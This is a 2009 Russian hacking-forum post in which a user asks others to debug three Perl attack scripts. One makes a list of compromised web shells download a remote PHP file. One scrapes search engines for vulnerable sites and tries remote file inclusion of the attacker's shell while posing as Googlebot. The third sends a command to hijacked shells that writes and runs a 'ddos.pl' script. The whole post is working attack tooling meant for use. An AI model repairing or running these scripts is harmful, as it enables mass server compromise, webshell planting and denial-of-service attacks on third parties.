Форум АНТИЧАТ - В чем ошибка? Perl

В чем ошибка? Perl

17.01.2009, 20:50

sNt

Участник форума

Регистрация: 30.07.2008

Сообщений: 152

Провел на форуме:
659306

Репутация: 34

Отправить сообщение для sNt с помощью ICQ

В чем ошибка? Perl

PHP код:


		
			
#!/usr/bin/perl



   use strict;

   use LWP::UserAgent;

   use warnings;



   our $sh_file = 'shells.txt';

   our $reply = 'http://shell.narod.ru/p.php&url=http://src.by.ru/post.txt&kuda=./&name=iamhax0r.php';



   open(SH,"$sh_file")  or die "$!";

   foreach(<SH>)

   {

       chomp;

       my $ua = LWP::UserAgent->new;

       $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

       my $req = HTTP::Request->new(GET => "$_$reply");

       $req->header('Accept' => 'text/html');

       my $res = $ua->request($req);



       if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[+] $_$reply\n"; }

       else { print "[-] $_$reply\n"; }



   }

       close SH;

PHP код:


		
			
#!/usr/bin/perl

   use strict;

   use warnings;

   use LWP::UserAgent;



   our $h0pz = 20; 

   our $banner = 'kblance'; 

   our $mask = 'BB/'; 

   our $include = 'http://[my_shell]/script';

   our $accord = 'vse_zaebis';



   our @c0ntent = ();

   our @uRLS = (); 



   # 



   sub aolCom

   {



   print "[:: aol.com ::]\n";



       for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов

       {

           my $ua = LWP::UserAgent->new;

           # 

           $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

           # 

           my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");

           $req->header('Accept' => 'text/html');

           

           my $res = $ua->request($req);

           

           push @c0ntent, $res->content;

       }

       

       foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #"

   }



   



   sub msnCom

   {



   print "[:: msn.com ::]\n";



       for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов

       {

           my $ua = LWP::UserAgent->new;

           $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

           my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM=");

           $req->header('Accept' => 'text/html');

           my $res = $ua->request($req);

           push @c0ntent, $res->content;

       }

       foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #"

   }



  

   sub yandex

   {



   print "[:: yandex.ru ::]\n";



       for(my $i = 1; $i <= $h0pz/10; $i++) 

       {

           my $ua = LWP::UserAgent->new;

           $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

           my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");

           $req->header('Accept' => 'text/html');

           my $res = $ua->request($req);

           push @c0ntent, $res->content;

       }

       foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #"

   }



   



   sub google

   {



   print "[:: google.com ::]\n";



       for(my $i = 1; $i <= $h0pz; $i += 10) 

       {

           my $ua = LWP::UserAgent->new;

           $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

           my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N");

           $req->header('Accept' => 'text/html');

           my $res = $ua->request($req);

           push @c0ntent, $res->content;

       }

       foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #"

   }

sub filter # filter("список урлов");

   {

       print "[:: filtering ::]\n";

       my (%uR,%glob);

       foreach(@_) #

       {

               /(.+?$mask)/oi; 

               my $url = $1;

               $uR{$_} = $url if /$mask/oi;

               next if exists $uR{$_}; 

       }



       foreach(keys %uR)

       {

               /.+?\/\/.+?(\/.*$mask)/oi; 

                

               my $dir = $1;

               my @own = split(/\//,$_);

               unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } # здесь добавим "www" если они отсутствуют

               $glob{$own[2]} = $dir; ь

       }



       return %glob; 

   }

sub fucking # fucking("\%glob");

   {



   print "[:: exploiting ::]\n";

   foreach my $href(\%glob)

   {

       while(my($a,$b) = each %$href) 

       {

               my $ua = LWP::UserAgent->new;

               $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);

               my $req = HTTP::Request->new(GET => "http://$a$b$include"); 

               $req->header('Accept' => 'text/html');

               my $res = $ua->request($req);



               if($res->content =~ /$accord/oi) 

               {

                   print "[+] $a$b$include\n"; 

               }

               else

               {

                   print "[-] $a$b$include\n"; 

               }



       }

   }

   }

PHP код:


		
			
#!/usr/bin/perl

   use strict;

   use warnings;

   use LWP::UserAgent;

   use HTTP::Request::Common;

   our $name = 'ddos.pl';

   our $src = '';

   our $dir = '/tmp/';

   open(SH,"shell.txt") or die "$!";

   chomp(our @sh = <SH>);

   close SH;

   foreach(@sh)

   {

       my $ua = new LWP::UserAgent;

       my $res = $ua->request(POST "$_",

                               [

                               cmd => "echo $src>$name;perl $name",

                               dir => "$dir",

                               submit => ''

                               ]);

       if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; }

   }

Помогите плз довести до ума (во всех трех вариантах есь ошибки). Я просто не силен в перле и исправить не могу...

С меня +++

Последний раз редактировалось sNt; 17.01.2009 в 22:06..